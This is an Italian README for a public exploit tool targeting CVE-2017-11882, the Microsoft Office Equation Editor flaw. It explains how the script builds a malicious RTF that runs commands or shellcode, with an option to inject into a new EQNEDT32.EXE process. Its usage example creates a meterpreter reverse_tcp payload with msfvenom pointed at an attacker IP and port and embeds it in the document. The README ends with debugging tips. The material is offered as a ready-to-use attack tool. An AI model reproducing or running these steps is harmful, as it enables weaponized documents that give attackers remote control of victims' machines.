
CVE-2017-11882 Exploit accetta comandi/codice di lunghezza superiore a 17k byte al massimo.
L'exploit CVE-2017-11882 accetta comandi/codice lunghi fino a oltre 17k byte.
Per l'esecuzione remota di comandi, questo exploit chiama WinExec con SW_HIDE e chiama ExitProcess dopo che WinExec ritorna.
Per l'esecuzione remota di codice, questo exploit salta semplicemente al codice.
Non riesco a trovare un riferimento per la struttura dell'oggetto... quindi non posso cambiare la lunghezza del file per l'esecuzione di codice di lunghezza arbitraria..:(
Ma penso davvero che 17k byte siano sufficienti. Lo script Python rileverà la dimensione del payload necessaria e sceglierà il template corretto.
Attenzione: l'RCE bloccherà il processo winword se non si esegue la migrazione a un altro processo!
Attualmente questo exploit inietta il tuo shellcode nel nuovo processo EQNEDT32.EXE se specifichi il flag -i. Questa operazione è sospetta per l'antivirus ma non bloccherà il processo di Word.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit per CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
-c CMD, --cmd CMD Comando o file di shellcode da eseguire nel sistema target
(Deve essere più corto di 17967 byte!!)
-t {0,1}, --type {0,1}
Tipo (0:shellcode 1:comando, default=1)
-i INJECT, --inject INJECT
Inietta shellcode in un nuovo processo
-o OUTPUT, --output OUTPUT
Output dell'exploit rtf
Esempio:
Per l'esecuzione remota di comandi:
CVE-2017-11882.py -c cmd.exe -o test.rtf
Per l'esecuzione remota di codice:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Imposta il valore del debugger sul percorso del tuo debugger in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Costruisci un exploit ed eseguilo.
Imposta un punto di interruzione a 0x41165f
Questo punto di interruzione verrà colpito due volte; alla seconda volta il payload verrà eseguito dopo il ritorno di questa funzione.